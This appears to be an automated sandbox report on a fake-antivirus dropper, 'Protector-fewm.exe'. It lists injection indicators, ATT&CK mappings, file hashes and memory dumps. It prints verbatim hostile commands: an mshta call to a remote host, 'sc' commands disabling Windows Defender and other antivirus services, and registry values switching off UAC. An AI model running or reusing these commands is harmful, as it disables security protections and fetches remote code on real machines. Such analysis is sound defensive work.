Token: SeDebugPrivilege	2696	Protector-fewm.exe
Token: SeShutdownPrivilege	2696	Protector-fewm.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
1972	iexplore.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2868	d4j2qm7zd0c38ni.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
2696	Protector-fewm.exe
1972	iexplore.exe
1972	iexplore.exe
936	IEXPLORE.EXE
936	IEXPLORE.EXE
936	IEXPLORE.EXE
936	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 2736	2732	4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe	30
PID 2732 wrote to memory of 2736	2732	4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe	30
PID 2732 wrote to memory of 2736	2732	4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe	30
PID 2732 wrote to memory of 2736	2732	4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe	30
PID 2732 wrote to memory of 2736	2732	4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe	30
PID 2732 wrote to memory of 2736	2732	4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe	30
PID 2732 wrote to memory of 2736	2732	4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe	30
PID 2736 wrote to memory of 2868	2736	46idba4mb3c6wsk.exe	31
PID 2736 wrote to memory of 2868	2736	46idba4mb3c6wsk.exe	31
PID 2736 wrote to memory of 2868	2736	46idba4mb3c6wsk.exe	31
PID 2736 wrote to memory of 2868	2736	46idba4mb3c6wsk.exe	31
PID 2736 wrote to memory of 2868	2736	46idba4mb3c6wsk.exe	31
PID 2736 wrote to memory of 2868	2736	46idba4mb3c6wsk.exe	31
PID 2736 wrote to memory of 2868	2736	46idba4mb3c6wsk.exe	31
PID 2868 wrote to memory of 2696	2868	d4j2qm7zd0c38ni.exe	32
PID 2868 wrote to memory of 2696	2868	d4j2qm7zd0c38ni.exe	32
PID 2868 wrote to memory of 2696	2868	d4j2qm7zd0c38ni.exe	32
PID 2868 wrote to memory of 2696	2868	d4j2qm7zd0c38ni.exe	32
PID 2868 wrote to memory of 2696	2868	d4j2qm7zd0c38ni.exe	32
PID 2868 wrote to memory of 2696	2868	d4j2qm7zd0c38ni.exe	32
PID 2868 wrote to memory of 2696	2868	d4j2qm7zd0c38ni.exe	32
PID 2868 wrote to memory of 2600	2868	d4j2qm7zd0c38ni.exe	33
PID 2868 wrote to memory of 2600	2868	d4j2qm7zd0c38ni.exe	33
PID 2868 wrote to memory of 2600	2868	d4j2qm7zd0c38ni.exe	33
PID 2868 wrote to memory of 2600	2868	d4j2qm7zd0c38ni.exe	33
PID 2868 wrote to memory of 2600	2868	d4j2qm7zd0c38ni.exe	33
PID 2868 wrote to memory of 2600	2868	d4j2qm7zd0c38ni.exe	33
PID 2868 wrote to memory of 2600	2868	d4j2qm7zd0c38ni.exe	33
PID 2696 wrote to memory of 2564	2696	Protector-fewm.exe	35
PID 2696 wrote to memory of 2564	2696	Protector-fewm.exe	35
PID 2696 wrote to memory of 2564	2696	Protector-fewm.exe	35
PID 2696 wrote to memory of 2564	2696	Protector-fewm.exe	35
PID 2696 wrote to memory of 2564	2696	Protector-fewm.exe	35
PID 2696 wrote to memory of 2564	2696	Protector-fewm.exe	35
PID 2696 wrote to memory of 2564	2696	Protector-fewm.exe	35
PID 2696 wrote to memory of 1336	2696	Protector-fewm.exe	38
PID 2696 wrote to memory of 1336	2696	Protector-fewm.exe	38
PID 2696 wrote to memory of 1336	2696	Protector-fewm.exe	38
PID 2696 wrote to memory of 1336	2696	Protector-fewm.exe	38
PID 2696 wrote to memory of 1336	2696	Protector-fewm.exe	38
PID 2696 wrote to memory of 1336	2696	Protector-fewm.exe	38
PID 2696 wrote to memory of 1336	2696	Protector-fewm.exe	38
PID 2696 wrote to memory of 1196	2696	Protector-fewm.exe	39
PID 2696 wrote to memory of 1196	2696	Protector-fewm.exe	39
PID 2696 wrote to memory of 1196	2696	Protector-fewm.exe	39
PID 2696 wrote to memory of 1196	2696	Protector-fewm.exe	39
PID 2696 wrote to memory of 1196	2696	Protector-fewm.exe	39
PID 2696 wrote to memory of 1196	2696	Protector-fewm.exe	39
PID 2696 wrote to memory of 1196	2696	Protector-fewm.exe	39
PID 2696 wrote to memory of 2144	2696	Protector-fewm.exe	40
PID 2696 wrote to memory of 2144	2696	Protector-fewm.exe	40
PID 2696 wrote to memory of 2144	2696	Protector-fewm.exe	40
PID 2696 wrote to memory of 2144	2696	Protector-fewm.exe	40
PID 2696 wrote to memory of 2144	2696	Protector-fewm.exe	40
PID 2696 wrote to memory of 2144	2696	Protector-fewm.exe	40
PID 2696 wrote to memory of 2144	2696	Protector-fewm.exe	40
PID 2696 wrote to memory of 596	2696	Protector-fewm.exe	43
PID 2696 wrote to memory of 596	2696	Protector-fewm.exe	43
PID 2696 wrote to memory of 596	2696	Protector-fewm.exe	43
PID 2696 wrote to memory of 596	2696	Protector-fewm.exe	43
PID 2696 wrote to memory of 596	2696	Protector-fewm.exe	43
PID 2696 wrote to memory of 596	2696	Protector-fewm.exe	43
PID 2696 wrote to memory of 596	2696	Protector-fewm.exe	43
PID 2696 wrote to memory of 2068	2696	Protector-fewm.exe	44

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Protector-fewm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-fewm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-fewm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-fewm.exe

C:\Users\Admin\AppData\Local\Temp\4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe
"C:\Users\Admin\AppData\Local\Temp\4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\46idba4mb3c6wsk.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\46idba4mb3c6wsk.exe" -e -ps10n43n4ttbw1yn
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Users\Admin\AppData\Local\Temp\RarSFX1\d4j2qm7zd0c38ni.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\d4j2qm7zd0c38ni.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Users\Admin\AppData\Roaming\Protector-fewm.exe
      C:\Users\Admin\AppData\Roaming\Protector-fewm.exe
      4⤵
      UAC bypass
      Event Triggered Execution: Image File Execution Options Injection
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Checks whether UAC is enabled
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:2696
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta.exe "http://galaint.online-secure-pay.info/?0=112&1=1&2=1&3=33&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=skbkyyehvc&14=1"
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2564
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop WinDefend
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1336
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1196
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop msmpsvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2144
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config msmpsvc start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:596
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config ekrn start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2068
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop AntiVirService
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2404
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirService start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:520
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirSchedulerService start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2252
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\D4J2QM~1.EXE" >> NUL
      4⤵
      System Location Discovery: System Language Discovery
      PID:2600

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -startmediumtab -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1972
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1972 CREDAT:275457 /prefetch:2
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

Filesize
914B

MD5
e4a68ac854ac5242460afd72481b2a44

SHA1
df3c24f9bfd666761b268073fe06d1cc8d4f82a4

SHA256
cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

SHA512
5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

Filesize
252B

MD5
a338aa262f9338ea8e09da417c6ea7d9

SHA1
3c3bddc7f710a43504c65c101837af7bac35703f

SHA256
a3e38c2a8d8a23c523d21cc8e57b1f1315ba6fdfb32909ec35b3618761938945

SHA512
ce4c51c1243946383696698539bb27dafe280273280589cc0885998cd73941d2a5698fe42959ae9fc59e350eedd6e88bad33ca88e072c7f8f5bed010b338af2e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
689e7218b772f3f492782a99cb7cc3dc

SHA1
13aa8e7704d8bf25504f9d031064c86c72f35688

SHA256
e4499d8f8e7cc495911c13f71fef0f86d69a9c6882da016b9409f65680b3da2c

SHA512
2e1f2b89df94476a2372758580b1a7b5607e92f12e4fdbefc6db4fac9b81acf609c75a937bcdf2445894f47e599ce72487465c85c09acbbeeba3e278a0a10b2b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
7b202d0561e72221d7dc57ed6c59f476

SHA1
632f9904e5af5014523da4acef3b903a86e54073

SHA256
4c7ae1ad1c1a5b6aa67664b61355c32b9b2f5826e8885bd67c93d50054d24729

SHA512
a752d9aebe1ff1c2b1205d291bed8f1218c9ef3772d60d4dc2fcc96ba4baf6dca47bf49bca1cb51f3398c6971cc3919aaae6ba64ba34b6066139d389aa0c6297

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b6c0b056bd4ba8d1c4a1e2eaa2a0e6c1

SHA1
ce57e53b00b5efe1338daddae3793f26b8e737ca

SHA256
13593a4af0aa510543bd6ae7468c743a98848264a4cc54520df074724fc60462

SHA512
ffe5d0e63864760f60dda80cc9aa86ab77182958fd6a395021a6d4570362dc24e5f831a03e03429bc5aecbab903796d7483c09974caf054a186165c45e7a2625

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
09c97152c05851246766a9835dbc7ec5

SHA1
4edddefd6c5a41b2b552b02434b5798b7e63d01e

SHA256
c2ae0a7f4fe7df6034831521f973602cc0b1cfaec012262b8090bcfc9418c92d

SHA512
bbf3a98d92d66e7855bc08086e0ed1c3c293a050e3d00c4629c8d92f2ec9fd11253365f53dcb16e02795e6b3953f0ba0076cab7b9c864aaa052eceedf1a3e04d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a47b8bda48cab3bfedae9f40bb65727b

SHA1
9d15f8b26efb8e2b4237ddd0e13368d64231a470

SHA256
a489dc84d8f96e4a207137d7d369671297dc2803dd242ca613c6594da2ef6939

SHA512
0fe16556c03be2937d794f3592c309f79bcf9607212efee96abfaaf37eb511a58b33526592f243b9d4adbe7888c5271bffadce85c3d0a017c621e6cff8938222

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b0a697b5271dc72bdea3b7a6e066a5ce

SHA1
5f22ab5b7aa156669d296c57fd40b15c16a8335e

SHA256
7353004415deb704ec847f7a00da9e70fa5c02fd81dd722b4fcea8b9e154907a

SHA512
ec003f468266c7530125a57ce06e3752050071f1203067697c8b052f3be7bb2d9f2b8b86eaa0523954c6348804f40e22ae5e55edcedf05a09b5327967642a268

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
015cd5f84e1914cc9f52e6292bcc5155

SHA1
d776dd059e8f0fc8bf658094ccd09c6048ff9390

SHA256
2aa7e46cb0afec0b133f2a4e12e4bf4c0610e459c33adc52a57c36df49b5d522

SHA512
ddfa2cbe820974fd4099a118de2a772fc5b59a453c784996f4a31d351f5fedc06384ba240735828f36726404156d70bbea16b2c54a0bed5812c6044333ca263f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
e38c54cc21bf5ed8c2575035f8887c2f

SHA1
4b6c00a779a68f0c72855f86d07ba67162a81c20

SHA256
04ba3f9c15ab2bf79df4ade9b01d73c421889409c205eedc4fdba5cddd3185b7

SHA512
f1d3bd75371a914bb3d8cc8fea89358357f1b86f123088033589a535770d210f93505d12c60ef237e2cebb4d29c7dbed627ccb768cdad9f1fc49fca09f655c2c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
505d41bfc6e894c07af87ecff2fdbff5

SHA1
611653d7182dfa14025e52ea20904e24c9564765

SHA256
dbdb89cee97509da18835adfa5dbc46c81bd10d456ff30d960939b8d478a8a56

SHA512
766436d46408bf43bcb3488fc3d5ac0268a6993d9992a96634ec90556751550b8a6151f94d97e43418193d2753ba701523f36df8d68b1c053187bed3d2c3d700

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
49c08ee4ca4e0907d45f1a519cd487d4

SHA1
1de36bda6dec56574904901ec4e6e6934cf167b9

SHA256
fbf607f207abcaa6c32e868e387962d38a4f487f2ac071bd60deccf9e6da9d62

SHA512
5436e377ad0b51e59813855c9f810ba67498e10264c1bf87e13d29cae7722580d94ca490b89aaff4c8dbf342197b6355a4c4186519a32aae2c4ba43cc7ca102b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
610c6833cac9b49f595cbff6256714f5

SHA1
8e1edf56e5bc33ccd2088bc063c176df5c7ca368

SHA256
e4a28d6ff6870d78d35b528dffa2fd79a525425add057f71b9416fd521c3fdc4

SHA512
6fc0f760f8a40f21b8db8e65289467af0c67adbdecb76f592d9e7b50cdba96c8c26d2be7124dea5eae3467d872bfe997b44a09efc5556ed684024cacf8de7e0f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
875bc93b856a751838531e82cfccf5b1

SHA1
b484500864653f4ddbd7df6673b146080ad5ab07

SHA256
b03cbe6501f5022bf849f0844b966eadb7684d9539284de1da2289401e2a07c9

SHA512
f2da0fa8d51d71f191e3b0a8eb0f640c2ae4660d26a287e5746684cd544bc6364169bd37de7979d7caa8e2b15b90cadf63cdbf0f1dbccdd2aeddc0cf29e7fcd7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
c809ee67ac4387053aa4f8b60be8d6ba

SHA1
bec4c37b959edd63c1beb108dfd793323b459f68

SHA256
01e57746387675ee24067c946d7fb25e404d9083843f3ea543acb6d85bcd4543

SHA512
79bc1d3a135a449e798d09d6b86bcf2ab5353b8700d45c5166f212099a523f73193e94ec0d633976ee976ced9731f836cbb0e76e925bdf2fab51cb195d07a4a7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
942a77afe90ef72fff534346f2e40ddf

SHA1
985c19db4b872223688df3b1495126da7aa42ab3

SHA256
74132187c89479534de52b90a93aa054e952a8151b6e44637fd7cd0e9f8582d5

SHA512
dd220d4b6ea0b6c61ce01e2bd4f140968532e6409050cd3ccfa17461242f63cf4ffae0ee5022e84eeb7d1cfaec966702d5d7aa69e39874fded2e92090f709fb4

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
1a73ba4e8cd1b08e952a6e9ff88532b5

SHA1
6cab1eabf4a4e0c269ff5f50dec3988259ad217d

SHA256
73bcb68cd73b7518b555c555ebce17b762aaaca49dfad584fa420fc7939d5aae

SHA512
9071e5c9c901b82dbbb9afc59245258cbfdaa5fc66aff2664f5a97b14795dbbbf30dacda7787a45c2a7159757e6715568dc13acd33e25eda3a82b9a6b9f7959f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
11ee0342ccf789eb29ec9c4c3c5ae747

SHA1
beee1cc23caf4b46a4c5173fa17e3e7d458160aa

SHA256
71815ae83a619d243ebba2a9656a4c3b9c58c265cc0d4b2f51ce0a7ccd25261e

SHA512
4760f208effffa39740e409ec594eb65daaa2a4df3d65658bc2b4534c7d67956cc3efc8e97a999c77d83d25acc4a62c0309e165fc7030fb2c63c1718e51d95b3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
19539f78cd9f91dc42533f5256c3b72c

SHA1
0255ec9dca2723b5968a74dc15dbd24ead111eb2

SHA256
acf357a88581b2a7f87fca124cd2b61c3ff80493c4a63977c75c083410798825

SHA512
039f3503fff819ffe6ea263e9bc7e9205ac9417c93254fad5b14fd2c7eb7babf7ba8ce817d5929237970d53d35db07b12bbb2334585a887e9e0406d51597425a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabC841.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\d4j2qm7zd0c38ni.exe

Filesize
1.9MB

MD5
1e0b71526162ab0c95a404aa31186d3b

SHA1
1e06e8b5a61cb2689a4b10b6ba970f1a01a20745

SHA256
7d644f20a247acfc6c0aaf0d76fcd82f2f28d99dbcb3227538a1914469d54ffa

SHA512
f23ea2b277862befbd1db50c97926d5c6d0334d8d97eaba998296a254c3363a9a7a048a6799c54c1957c6cef0dfcb2b1fa1058377a2d730ff06b844a5e6f86ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC843.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\46idba4mb3c6wsk.exe

Filesize
2.0MB

MD5
cbe96899d1e0db4d9d910d6f4c831782

SHA1
d0fa845fa7efae9c77e0067668f99dbc11ad887f

SHA256
b593450a23937e30b89b1f303d56d0c75fc7dc1996e9ea143d0d7c00196ff62d

SHA512
7291e8fb87b6ebd8872a50bbfbc38511f1aa2228e12be1ba05d00f32816881ef5c203488fbe50a9cdd96934f92037768b3b347888fa84113ce7f25a051cafe8c

Download Submit
memory/2696-41-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download
memory/2696-1057-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-1059-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-1058-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-503-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-505-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-506-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-507-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-508-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-509-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-1056-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-68-0x0000000007050000-0x0000000007052000-memory.dmp

Filesize
8KB

Download
memory/2696-33-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-1055-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-73-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-61-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download
memory/2696-60-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download
memory/2696-59-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-58-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2696-40-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download
memory/2696-1054-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2736-20-0x00000000031F0000-0x00000000035E6000-memory.dmp

Filesize
4.0MB

Download
memory/2736-35-0x00000000031F0000-0x000000000324D000-memory.dmp

Filesize
372KB

Download
memory/2736-18-0x00000000031F0000-0x00000000035E6000-memory.dmp

Filesize
4.0MB

Download
memory/2868-19-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/2868-29-0x0000000004F00000-0x00000000052F6000-memory.dmp

Filesize
4.0MB

Download
memory/2868-32-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download